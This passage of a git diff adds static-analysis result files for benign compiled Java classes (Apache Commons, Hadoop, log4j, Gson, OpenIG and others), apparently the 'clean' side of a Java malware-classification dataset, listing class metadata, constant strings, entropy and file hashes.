{"signatures": {"java": "rot0", "file": "rot0"}}}}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "de398bd11f43e8e8505e27bcab447fbbc06ac87f", "file_name": "java_clean/d3aba45259eebfc7a5bcf3682671cd444b13ddcba365257d8b2a19598e55d491", "_id": "158152ff-9530-4732-8fe2-c7210da845d8", "score": 0, "entropy": 5.819228252417542, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 13673, "ssdeep": "384:UInpEHD6jsH0RI5u67o/OtU/NEQdggbRnxL2QUPXahAlbwXbsl:rnpm/tUVEYga9BcXahSwXIl", "sha256": "d3aba45259eebfc7a5bcf3682671cd444b13ddcba365257d8b2a19598e55d491", "md5": "1fe0a9ec951a84441da4d64c8a37113d", "parent_sha256": "d3aba45259eebfc7a5bcf3682671cd444b13ddcba365257d8b2a19598e55d491"}} \ No newline at end of file diff --git a/java_classification/data/clean/d45ddc1187b6733c346c676e63ee7346b12ebcb40e829780d5db93efb00cce7c.results b/java_classification/data/clean/d45ddc1187b6733c346c676e63ee7346b12ebcb40e829780d5db93efb00cce7c.results new file mode 100755 index 0000000..f97cab3 --- /dev/null +++ b/java_classification/data/clean/d45ddc1187b6733c346c676e63ee7346b12ebcb40e829780d5db93efb00cce7c.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "FTPCommand.java", "class_name": "org/apache/commons/net/ftp/FTPCommand", "access_permissions": ["ACC_PUBLIC", "ACC_FINAL", "ACC_SUPER"], "major_version": 46, "method_names": ["", "getCommand", ""], "minor_version": 0, "const_pool_count": 157}}, "_id": "ffd6f5e3-76e8-49e3-8fd7-ec3cc3315c91", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 3.984918306797035, "obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "NOOP"}}}, "constant strings": ["USER", "PASS", "ACCT", "CWD", "CDUP", "SMNT", "REIN", "QUIT", "PORT", "PASV", "TYPE", "STRU", "MODE", "RETR", "STOR", "STOU", "APPE", "ALLO", "REST", "RNFR", "RNTO", "ABOR", "DELE", "RMD", "MKD", "PWD", "LIST", "NLST", "SITE", "SYST", "STAT", "HELP", "NOOP"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "c9b0a915babc05be9852f059d49f338b3b04a688", "file_name": "java_clean/d45ddc1187b6733c346c676e63ee7346b12ebcb40e829780d5db93efb00cce7c", "_id": "ffd6f5e3-76e8-49e3-8fd7-ec3cc3315c91", "score": 0, "entropy": 4.909104131710053, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 2685, "ssdeep": "48:QAs8KuFd9vruEe8WcyFl9xbmb+n3NVOeLXmUdU4qWzunH4:U8zxru984FlM+33LXXeHY", "sha256": "d45ddc1187b6733c346c676e63ee7346b12ebcb40e829780d5db93efb00cce7c", "md5": "9aa0c8f86d17d82e084fef876450e4e4", "parent_sha256": "d45ddc1187b6733c346c676e63ee7346b12ebcb40e829780d5db93efb00cce7c"}} \ No newline at end of file diff --git a/java_classification/data/clean/d4e4cd1693e84821b8e24f93c8f9818e6b04d03000e9538cda064307756dfcf5.results b/java_classification/data/clean/d4e4cd1693e84821b8e24f93c8f9818e6b04d03000e9538cda064307756dfcf5.results new file mode 100755 index 0000000..0271b1f --- /dev/null +++ b/java_classification/data/clean/d4e4cd1693e84821b8e24f93c8f9818e6b04d03000e9538cda064307756dfcf5.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "hu/openig/editors/MapEditor$29", "access_permissions": ["ACC_SUPER"], "interfaces": ["java/awt/event/ActionListener"], "sourcefile": "MapEditor.java", "method_names": ["", "actionPerformed"], "minor_version": 0, "const_pool_count": 37}}, "_id": "973492d4-cac3-46a4-8b58-5918ac12bb9f", "metadata": {"mimetype": "application/x-java-applet", "sha1": "bdbd62d334c947a69c99e59c66a9dde57ce44371", "file_name": "java_clean/d4e4cd1693e84821b8e24f93c8f9818e6b04d03000e9538cda064307756dfcf5", "_id": "973492d4-cac3-46a4-8b58-5918ac12bb9f", "score": 0, "entropy": 5.16208887670419, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 741, "ssdeep": "12:tH9RRViYvXWNjO4uZ9lPsogOR90XlqTbv876jtyiUSe7DCfD7c09J40598l:tdRn/F4U9lj/RI4n5/Dco4r", "sha256": "d4e4cd1693e84821b8e24f93c8f9818e6b04d03000e9538cda064307756dfcf5", "md5": "73623ab8829a982515acd69fbdb727ee", "parent_sha256": "d4e4cd1693e84821b8e24f93c8f9818e6b04d03000e9538cda064307756dfcf5"}} \ No newline at end of file diff --git a/java_classification/data/clean/d4ff8ff94735a1b456ffe8ae48960081d2a3ab55a59a6c421d93ca03ab11e710.results b/java_classification/data/clean/d4ff8ff94735a1b456ffe8ae48960081d2a3ab55a59a6c421d93ca03ab11e710.results new file mode 100755 index 0000000..7fc31eb --- /dev/null +++ b/java_classification/data/clean/d4ff8ff94735a1b456ffe8ae48960081d2a3ab55a59a6c421d93ca03ab11e710.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "hu/openig/screen/items/StatusbarScreen$11", "access_permissions": ["ACC_SUPER"], "interfaces": ["hu/openig/core/Action0"], "sourcefile": "StatusbarScreen.java", "method_names": ["", "invoke"], "minor_version": 0, "const_pool_count": 51}}, "_id": "83d67a68-4229-4492-a8d0-871f89c09753", "metadata": {"mimetype": "application/x-java-applet", "sha1": "e8a975dd6369c4d73637fc2aaeaa84d48d3ee641", "file_name": "java_clean/d4ff8ff94735a1b456ffe8ae48960081d2a3ab55a59a6c421d93ca03ab11e710", "_id": "83d67a68-4229-4492-a8d0-871f89c09753", "score": 0, "entropy": 5.2947454722137355, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 981, "ssdeep": "24:OMgnbOwugSj9grU9ljOagfgAMrcswGuedFqSycW:+nbOuSyrU9lu4A9sz9dHm", "sha256": "d4ff8ff94735a1b456ffe8ae48960081d2a3ab55a59a6c421d93ca03ab11e710", "md5": "fd1f6372975f757491071fd2f0a8ba99", "parent_sha256": "d4ff8ff94735a1b456ffe8ae48960081d2a3ab55a59a6c421d93ca03ab11e710"}} \ No newline at end of file diff --git a/java_classification/data/clean/d57d8203c1f2b1844133d207f410358a8de3d8645080470dc090ab205a41c6da.results b/java_classification/data/clean/d57d8203c1f2b1844133d207f410358a8de3d8645080470dc090ab205a41c6da.results new file mode 100755 index 0000000..20e7dd2 --- /dev/null +++ b/java_classification/data/clean/d57d8203c1f2b1844133d207f410358a8de3d8645080470dc090ab205a41c6da.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Seekable.java", "class_name": "org/apache/hadoop/fs/Seekable", "access_permissions": ["ACC_PUBLIC", "ACC_INTERFACE", "ACC_ABSTRACT"], "major_version": 49, "method_names": ["seek", "getPos", "seekToNewSource"], "minor_version": 0, "const_pool_count": 16}}, "_id": "c3e0a63a-879e-4276-9f6d-03548725f4e5", "metadata": {"mimetype": "application/x-java-applet", "sha1": "3b7d5f5e4f1ffb5d946259b10e6f95e4c43262c0", "file_name": "java_clean/d57d8203c1f2b1844133d207f410358a8de3d8645080470dc090ab205a41c6da", "_id": "c3e0a63a-879e-4276-9f6d-03548725f4e5", "score": 0, "entropy": 4.846225206220258, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 264, "ssdeep": "6:V0Lk4k2R4CVkG+k0GoSO2rpObRPlEEcS+Mu:V0nk2Tmk4SO2rpObRtEESF", "sha256": "d57d8203c1f2b1844133d207f410358a8de3d8645080470dc090ab205a41c6da", "md5": "6725f09053c6ba2e6d5252af3a568290", "parent_sha256": "d57d8203c1f2b1844133d207f410358a8de3d8645080470dc090ab205a41c6da"}} \ No newline at end of file diff --git a/java_classification/data/clean/d5e7a42d3f3926c3714390290a5f1e8629f596b332dac84e9fdd4e2316ac8c19.results b/java_classification/data/clean/d5e7a42d3f3926c3714390290a5f1e8629f596b332dac84e9fdd4e2316ac8c19.results new file mode 100755 index 0000000..fe16ba2 --- /dev/null +++ b/java_classification/data/clean/d5e7a42d3f3926c3714390290a5f1e8629f596b332dac84e9fdd4e2316ac8c19.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 45, "class_name": "org/apache/commons/collections/set/TransformedSet", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["java/util/Set"], "sourcefile": "TransformedSet.java", "method_names": ["decorate", ""], "minor_version": 3, "const_pool_count": 32}}, "_id": "1b064e32-8de1-4270-b519-f68711b8352e", "metadata": {"mimetype": "application/x-java-applet", "sha1": "15c9f6bac8ff7ff0767b23a3595c120be5efb5f4", "file_name": "java_clean/d5e7a42d3f3926c3714390290a5f1e8629f596b332dac84e9fdd4e2316ac8c19", "_id": "1b064e32-8de1-4270-b519-f68711b8352e", "score": 0, "entropy": 5.093614762249736, "libmagic": "compiled Java class data, version 45.3", "file_size": 887, "ssdeep": "12:czTpcl+HOaKulPso6CXgavHX+2IViHPH2yViH9Xe8ZJqL++eNO30/m:cO+uaKulj6ug+XHAiBi3ZEL++eNOH", "sha256": "d5e7a42d3f3926c3714390290a5f1e8629f596b332dac84e9fdd4e2316ac8c19", "md5": "6f94abfa78479e1a04b9acc3f7bcbd09", "parent_sha256": "d5e7a42d3f3926c3714390290a5f1e8629f596b332dac84e9fdd4e2316ac8c19"}} \ No newline at end of file diff --git a/java_classification/data/clean/d5f410d34fd083ebafce0269b5e218d69aaedf3a1892bf1d77bc7cc3672fbc62.results b/java_classification/data/clean/d5f410d34fd083ebafce0269b5e218d69aaedf3a1892bf1d77bc7cc3672fbc62.results new file mode 100755 index 0000000..cf951e3 --- /dev/null +++ b/java_classification/data/clean/d5f410d34fd083ebafce0269b5e218d69aaedf3a1892bf1d77bc7cc3672fbc62.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "PatternParser.java", "class_name": "org/apache/log4j/helpers/PatternParser$LiteralPatternConverter", "access_permissions": ["ACC_SUPER"], "major_version": 46, "method_names": ["", "format", "convert"], "minor_version": 0, "const_pool_count": 40}}, "_id": "b700d683-95e8-4ba7-b3a5-5fa262042a14", "metadata": {"mimetype": "application/x-java-applet", "sha1": "b7d2d79a15c1878ae2df94125b16186ea34bb430", "file_name": "java_clean/d5f410d34fd083ebafce0269b5e218d69aaedf3a1892bf1d77bc7cc3672fbc62", "_id": "b700d683-95e8-4ba7-b3a5-5fa262042a14", "score": 0, "entropy": 5.083752792611389, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 1069, "ssdeep": "24:0lphGBfuljZ8VAYxMcFJgWqeNlizPm0Y7jdB:chGBGl18GYxzFJgdCFL", "sha256": "d5f410d34fd083ebafce0269b5e218d69aaedf3a1892bf1d77bc7cc3672fbc62", "md5": "489f5d49b2fe86099f49f6a91255a1d0", "parent_sha256": "d5f410d34fd083ebafce0269b5e218d69aaedf3a1892bf1d77bc7cc3672fbc62"}} \ No newline at end of file diff --git a/java_classification/data/clean/d635153e5e6761150f4b977442a69e478afda3508ce380e1af8021a766d91e22.results b/java_classification/data/clean/d635153e5e6761150f4b977442a69e478afda3508ce380e1af8021a766d91e22.results new file mode 100755 index 0000000..a569aa9 --- /dev/null +++ b/java_classification/data/clean/d635153e5e6761150f4b977442a69e478afda3508ce380e1af8021a766d91e22.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 48, "class_name": "org/apache/commons/cli/CommandLine", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["java/io/Serializable"], "sourcefile": "CommandLine.java", "method_names": ["", "hasOption", "hasOption", "getOptionObject", "getParsedOptionValue", "getOptionObject", "getOptionValue", "getOptionValue", "getOptionValues", "resolveOption", "getOptionValues", "getOptionValue", "getOptionValue", "getOptionProperties", "getArgs", "getArgList", "addArg", "addOption", "iterator", "getOptions"], "minor_version": 0, "const_pool_count": 225}}, "_id": "60a90e71-cb88-485d-801a-8a59b7d8881d", "verbose": {"java": {"JAVA String Analysis": {"obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "true"}}}, "constant strings": ["Exception found converting ", " to desired type: ", "true"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "59a24240528281285f0ef62ac613970c89215f42", "file_name": "java_clean/d635153e5e6761150f4b977442a69e478afda3508ce380e1af8021a766d91e22", "_id": "60a90e71-cb88-485d-801a-8a59b7d8881d", "score": 0, "entropy": 5.384143129179386, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 5274, "ssdeep": "96:QyIMECFlsWiclYOm6yvVWN79I7iNl4eGnW1bVqkQTgiV:QyyolsWiuYOl0VWN79I7iH4eGW1bVqkK", "sha256": "d635153e5e6761150f4b977442a69e478afda3508ce380e1af8021a766d91e22", "md5": "32968efc205733c33901e14a6bea40b7", "parent_sha256": "d635153e5e6761150f4b977442a69e478afda3508ce380e1af8021a766d91e22"}} \ No newline at end of file diff --git a/java_classification/data/clean/d66f166f4983eee1afb9cde453b02d6c98e120e49e86bcec01e9896a27bea68b.results b/java_classification/data/clean/d66f166f4983eee1afb9cde453b02d6c98e120e49e86bcec01e9896a27bea68b.results new file mode 100755 index 0000000..2e7731d --- /dev/null +++ b/java_classification/data/clean/d66f166f4983eee1afb9cde453b02d6c98e120e49e86bcec01e9896a27bea68b.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "hu/openig/launcher/Launcher$17", "access_permissions": ["ACC_SUPER"], "interfaces": ["java/awt/event/ActionListener"], "sourcefile": "Launcher.java", "method_names": ["", "actionPerformed"], "minor_version": 0, "const_pool_count": 36}}, "_id": "6862bbd6-c4b6-4620-89b9-0160174541f5", "metadata": {"mimetype": "application/x-java-applet", "sha1": "5ef0b3df1af14faae947644b0a197eab6cb10011", "file_name": "java_clean/d66f166f4983eee1afb9cde453b02d6c98e120e49e86bcec01e9896a27bea68b", "_id": "6862bbd6-c4b6-4620-89b9-0160174541f5", "score": 0, "entropy": 5.095206656752946, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 733, "ssdeep": "12:9CoVIRViVVnXWNjjVQuZ9lPsogjVuR0XlqTGVEe6jcMyiUfAcDC6CkWMixUkt4NO:7VIqVnXQVQU9ljCVuU4qVE3Xjjk/iOkD", "sha256": "d66f166f4983eee1afb9cde453b02d6c98e120e49e86bcec01e9896a27bea68b", "md5": "61fcf07b01610e950ebff25bfd1bbe04", "parent_sha256": "d66f166f4983eee1afb9cde453b02d6c98e120e49e86bcec01e9896a27bea68b"}} \ No newline at end of file diff --git a/java_classification/data/clean/d727b2062207f5633ebc416590298f9136a2b3ade34090635eccfd5cd026e091.results b/java_classification/data/clean/d727b2062207f5633ebc416590298f9136a2b3ade34090635eccfd5cd026e091.results new file mode 100755 index 0000000..a74c8ff --- /dev/null +++ b/java_classification/data/clean/d727b2062207f5633ebc416590298f9136a2b3ade34090635eccfd5cd026e091.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 45, "class_name": "javax/naming/directory/ModificationItem", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["java/io/Serializable"], "sourcefile": "ModificationItem.java", "method_names": ["", "getAttribute", "getModificationOp", "toString"], "minor_version": 3, "const_pool_count": 75}}, "_id": "18cd648a-f6d2-4ee1-8be2-741072f3dac3", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.220108972971003}, "constant strings": ["", "Add attribute: ", "Invalid modification code ", "Must specify non-null attribute for modification", "Remove attribute: ", "Replace attribute: "]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "cb13dd46dddd981c59adabb735a57404bada8e37", "file_name": "java_clean/d727b2062207f5633ebc416590298f9136a2b3ade34090635eccfd5cd026e091", "_id": "18cd648a-f6d2-4ee1-8be2-741072f3dac3", "score": 0, "entropy": 5.423850841399692, "libmagic": "compiled Java class data, version 45.3", "file_size": 1441, "ssdeep": "24:cm8CtdDbd94wAll2dBLXMNAx/5/zn/dTdDHdZVkBiTcoixblIz5JPBndx:FrDDR94xlQBLcef/zn1pRZuBiTcoSblA", "sha256": "d727b2062207f5633ebc416590298f9136a2b3ade34090635eccfd5cd026e091", "md5": "525f6511e69005af72c0e50e8e4c7ef0", "parent_sha256": "d727b2062207f5633ebc416590298f9136a2b3ade34090635eccfd5cd026e091"}} \ No newline at end of file diff --git a/java_classification/data/clean/d72ae1822d76041283366ded064c3fcd80344843682174a70a712187b9d200e8.results b/java_classification/data/clean/d72ae1822d76041283366ded064c3fcd80344843682174a70a712187b9d200e8.results new file mode 100755 index 0000000..710a288 --- /dev/null +++ b/java_classification/data/clean/d72ae1822d76041283366ded064c3fcd80344843682174a70a712187b9d200e8.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 46, "class_name": "org/mortbay/http/ClientCertAuthenticator", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["org/mortbay/http/Authenticator"], "sourcefile": "ClientCertAuthenticator.java", "method_names": ["", "getMaxHandShakeSeconds", "setMaxHandShakeSeconds", "authenticate", "getAuthMethod", "class$", ""], "minor_version": 0, "const_pool_count": 178}}, "_id": "466f0337-e79c-4a90-a569-965215e54062", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.698948948250172, "obfuscated_data": {"signatures": {"java": "rot0"}}}, "constant strings": ["Client Cert Authentication is EXPERIMENTAL", "javax.servlet.request.X509Certificate", "clientcert", "CLIENT_CERT", "org.mortbay.http.ClientCertAuthenticator"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "c3ca6ac0571b247eaddc208a2e5fd22c06a1a74c", "file_name": "java_clean/d72ae1822d76041283366ded064c3fcd80344843682174a70a712187b9d200e8", "_id": "466f0337-e79c-4a90-a569-965215e54062", "score": 0, "entropy": 5.637674392935623, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 3707, "ssdeep": "48:5tUi0fsW+8HDyyFlmEPEQVotKxUG99Aj9MXDDwtgu95bdsJA4gNj4dls:5tUi0f9FlmEN5MKnQR7Rs64gJ4du", "sha256": "d72ae1822d76041283366ded064c3fcd80344843682174a70a712187b9d200e8", "md5": "c4ff14b1c481d72783e6b231ed4c4fb3", "parent_sha256": "d72ae1822d76041283366ded064c3fcd80344843682174a70a712187b9d200e8"}} \ No newline at end of file diff --git a/java_classification/data/clean/d7a976fd86780afec5cfb732dbabd3a12378ae819f1db94a86cb2a4ac3ff7b37.results b/java_classification/data/clean/d7a976fd86780afec5cfb732dbabd3a12378ae819f1db94a86cb2a4ac3ff7b37.results new file mode 100755 index 0000000..43e27d2 --- /dev/null +++ b/java_classification/data/clean/d7a976fd86780afec5cfb732dbabd3a12378ae819f1db94a86cb2a4ac3ff7b37.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "LeaseManager.java", "class_name": "org/apache/hadoop/dfs/LeaseManager$BlockRecord", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "toString"], "minor_version": 0, "const_pool_count": 51}}, "_id": "040eda6b-356d-4130-92a6-b134076bfb56", "verbose": {"java": {"constant strings": ["block:", " node:"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "fe70c6a93c5201e32dfbf849bef21bcb9d78ed5e", "file_name": "java_clean/d7a976fd86780afec5cfb732dbabd3a12378ae819f1db94a86cb2a4ac3ff7b37", "_id": "040eda6b-356d-4130-92a6-b134076bfb56", "score": 0, "entropy": 5.286909014075982, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1102, "ssdeep": "24:OWzzCO2LI1+Uuljb45pLrf55xptpOl9cTmTEHdxLuLC:FCO2LI1+5lYPb5jPAgmTEH3u+", "sha256": "d7a976fd86780afec5cfb732dbabd3a12378ae819f1db94a86cb2a4ac3ff7b37", "md5": "0ec9fcbbc34051125ac334692294666c", "parent_sha256": "d7a976fd86780afec5cfb732dbabd3a12378ae819f1db94a86cb2a4ac3ff7b37"}} \ No newline at end of file diff --git a/java_classification/data/clean/d7be37d6ebc283a508572c8ee002c8702687d26f44aa73ef16653a13418cceec.results b/java_classification/data/clean/d7be37d6ebc283a508572c8ee002c8702687d26f44aa73ef16653a13418cceec.results new file mode 100755 index 0000000..f58baae --- /dev/null +++ b/java_classification/data/clean/d7be37d6ebc283a508572c8ee002c8702687d26f44aa73ef16653a13418cceec.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "LongSerializationPolicy.java", "class_name": "com/google/gson/LongSerializationPolicy", "access_permissions": ["ACC_PUBLIC", "ACC_FINAL", "ACC_SUPER", "ACC_ENUM"], "major_version": 49, "method_names": ["values", "valueOf", "", "serialize", ""], "minor_version": 0, "const_pool_count": 78}}, "_id": "685c2a85-e2b8-42b2-a11a-3c209a4fdbc0", "verbose": {"java": {"signatures": ["(Lcom/google/gson/LongSerializationPolicy$Strategy;)V", "Ljava/lang/Enum;"], "constant strings": ["DEFAULT", "STRING"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "a45a2a511c037baa195875e7426d61511fae3b1b", "file_name": "java_clean/d7be37d6ebc283a508572c8ee002c8702687d26f44aa73ef16653a13418cceec", "_id": "685c2a85-e2b8-42b2-a11a-3c209a4fdbc0", "score": 0, "entropy": 5.26776003578571, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1892, "ssdeep": "48:MhBrflOi0Bs+j91MN5EyPqXRegbQwy1vxkvskFB8I:MXlNIm5E8gbSg3QI", "sha256": "d7be37d6ebc283a508572c8ee002c8702687d26f44aa73ef16653a13418cceec", "md5": "52026d086385009254b81968e360e94c", "parent_sha256": "d7be37d6ebc283a508572c8ee002c8702687d26f44aa73ef16653a13418cceec"}} \ No newline at end of file diff --git a/java_classification/data/clean/d7fd438754f4b28ced33f283492459fee93db92c6ee6c57c8e85129ddcf8be45.results b/java_classification/data/clean/d7fd438754f4b28ced33f283492459fee93db92c6ee6c57c8e85129ddcf8be45.results new file mode 100755 index 0000000..60561af --- /dev/null +++ b/java_classification/data/clean/d7fd438754f4b28ced33f283492459fee93db92c6ee6c57c8e85129ddcf8be45.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "hu/openig/screen/items/AchievementsScreen$46", "access_permissions": ["ACC_SUPER"], "interfaces": ["hu/openig/core/Func1"], "sourcefile": "AchievementsScreen.java", "method_names": ["", "invoke", "invoke"], "minor_version": 0, "const_pool_count": 66}}, "_id": "7834f783-3882-479d-8aa1-6fed52af0c9c", "verbose": {"java": {"signatures": ["Ljava/lang/Object;Lhu/openig/core/Func1;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "60da9e41dd3470f30f6a918e08fb8ae5814128a4", "file_name": "java_clean/d7fd438754f4b28ced33f283492459fee93db92c6ee6c57c8e85129ddcf8be45", "_id": "7834f783-3882-479d-8aa1-6fed52af0c9c", "score": 0, "entropy": 5.297938822340114, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1365, "ssdeep": "24:aHIBoxWf+IRaBooGNBoQ6ljSZBox1eYMBoWnVM1C7vR+iBqYKaEBs:b2wP6lReZP3RD", "sha256": "d7fd438754f4b28ced33f283492459fee93db92c6ee6c57c8e85129ddcf8be45", "md5": "5b24d47885ead91f0544373c6abe7031", "parent_sha256": "d7fd438754f4b28ced33f283492459fee93db92c6ee6c57c8e85129ddcf8be45"}} \ No newline at end of file diff --git a/java_classification/data/clean/d86dbf3c5a76bbf895c15cdec9717571c42bc822758dc62531805b1bbf59b7b6.results b/java_classification/data/clean/d86dbf3c5a76bbf895c15cdec9717571c42bc822758dc62531805b1bbf59b7b6.results new file mode 100755 index 0000000..a625cc0 --- /dev/null +++ b/java_classification/data/clean/d86dbf3c5a76bbf895c15cdec9717571c42bc822758dc62531805b1bbf59b7b6.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Lists.java", "class_name": "com/google/common/collect/Lists$StringAsImmutableList$1", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "get", "get"], "minor_version": 0, "const_pool_count": 59}}, "_id": "dc4b82a9-332e-4965-8970-44fccdadfeb8", "verbose": {"java": {"signatures": ["Lcom/google/common/collect/AbstractIndexedListIterator;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "8b79d8a5db5e165ae86cbef9d5a2e298d0712249", "file_name": "java_clean/d86dbf3c5a76bbf895c15cdec9717571c42bc822758dc62531805b1bbf59b7b6", "_id": "dc4b82a9-332e-4965-8970-44fccdadfeb8", "score": 0, "entropy": 5.194304724562184, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1386, "ssdeep": "24:lCKCyC73KNjCKuljoCGZoX1iCKZyCuo2VxsvjCDw23T9NlQbWA:cT3KqlgUiBGpp3sWA", "sha256": "d86dbf3c5a76bbf895c15cdec9717571c42bc822758dc62531805b1bbf59b7b6", "md5": "7cf8b1ec29189763b979d68cfcc6b6ce", "parent_sha256": "d86dbf3c5a76bbf895c15cdec9717571c42bc822758dc62531805b1bbf59b7b6"}} \ No newline at end of file diff --git a/java_classification/data/clean/d87f3cb359e4c36598080656b47a5eb1c107df1eee2748328ed47c9f871f79e6.results b/java_classification/data/clean/d87f3cb359e4c36598080656b47a5eb1c107df1eee2748328ed47c9f871f79e6.results new file mode 100755 index 0000000..bb4ce5f --- /dev/null +++ b/java_classification/data/clean/d87f3cb359e4c36598080656b47a5eb1c107df1eee2748328ed47c9f871f79e6.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "JspRuntimeLibrary.java", "class_name": "org/apache/jasper/runtime/JspRuntimeLibrary", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 46, "method_names": ["", "getThrowable", "coerceToBoolean", "coerceToByte", "coerceToChar", "coerceToDouble", "coerceToFloat", "coerceToInt", "coerceToShort", "coerceToLong", "coerce", "convert", "introspect", "introspecthelper", "internalIntrospecthelper", "toString", "toString", "toString", "toString", "toString", "toString", "toString", "toString", "toString", "createTypedArray", "escapeQueryString", "decode", "handleGetProperty", "handleSetPropertyExpression", "handleSetProperty", "handleSetProperty", "handleSetProperty", "handleSetProperty", "handleSetProperty", "handleSetProperty", "handleSetProperty", "handleSetProperty", "handleSetProperty", "getWriteMethod", "getReadMethod", "getValueFromBeanInfoPropertyEditor", "getValueFromPropertyEditorManager", "getContextRelativePath", "include", "URLEncode", "isSafeChar", "access$000", "class$"], "minor_version": 0, "const_pool_count": 749}}, "_id": "0ac71fdf-8a64-4c19-b0b4-ebe861d64a94", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.581885972299713, "obfuscated_data": {"signatures": {"java": "rot0", "file": "rot0"}, "base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "null"}}}, "constant strings": ["javax.servlet.error.exception", "javax.servlet.jsp.jspException", "java.lang.Boolean", "false", "java.lang.Byte", "java.lang.Character", "java.lang.Double", "java.lang.Float", "java.lang.Integer", "java.lang.Short", "java.lang.Long", "on", "true", "java.lang.String", "java.io.File", "java.lang.Object", "jsp.error.beans.setproperty.noindexset", "", "jsp.error.beans.noproperty", "jsp.error.beans.nomethod.setproperty", "error in invoking method", "&;`\\'\"|*?~<>^()[]{}$\\\\\\n", "\\\\", "jsp.error.beans.nullbean", "jsp.error.beans.nobeaninfo", "jsp.error.beans.nomethod", "jsp.error.beans.property.conversion", "jsp.error.beans.propertyeditor.notregistered", "/", "javax.servlet.include.servlet_path", "javax.servlet.include.path_info", "null", "ISO-8859-1"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "a0e19fa2abc6fedbbdb0b380bc29eb599e9672b3", "file_name": "java_clean/d87f3cb359e4c36598080656b47a5eb1c107df1eee2748328ed47c9f871f79e6", "_id": "0ac71fdf-8a64-4c19-b0b4-ebe861d64a94", "score": 0, "entropy": 6.015237449411041, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 22960, "ssdeep": "384:lHYchnQV+qabbVpJrXQPekLnAebgwUloaZDr+TZ3eMjaKTydoOw+40w74eKW7QrO:lZhnk+nPVpJr74kM23dz49QOpMzUl9", "sha256": "d87f3cb359e4c36598080656b47a5eb1c107df1eee2748328ed47c9f871f79e6", "md5": "d122153a6b2e3d4b1fe25a0495082f75", "parent_sha256": "d87f3cb359e4c36598080656b47a5eb1c107df1eee2748328ed47c9f871f79e6"}} \ No newline at end of file diff --git a/java_classification/data/clean/d9cdfb1ad465c014322999fdeffa2d55a08a8d1d861bd5a3717409833fff5c91.results b/java_classification/data/clean/d9cdfb1ad465c014322999fdeffa2d55a08a8d1d861bd5a3717409833fff5c91.results new file mode 100755 index 0000000..ed35360 --- /dev/null +++ b/java_classification/data/clean/d9cdfb1ad465c014322999fdeffa2d55a08a8d1d861bd5a3717409833fff5c91.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "DroppableBehavior.java", "class_name": "org/odlabs/wiquery/ui/droppable/DroppableBehavior", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "bind", "detach", "contribute", "statement", "getOptions", "setAccept", "getAccept", "setActiveClass", "getActiveClass", "setAddClasses", "isAddClasses", "setDisabled", "isDisabled", "setGreedy", "isGreedy", "setHoverClass", "getHoverClass", "setScope", "getScope", "setTolerance", "getTolerance", "setActivateEvent", "setDeactivateEvent", "setDropEvent", "setOutEvent", "setOverEvent", "destroy", "destroy", "disable", "disable", "enable", "enable", "widget", "widget"], 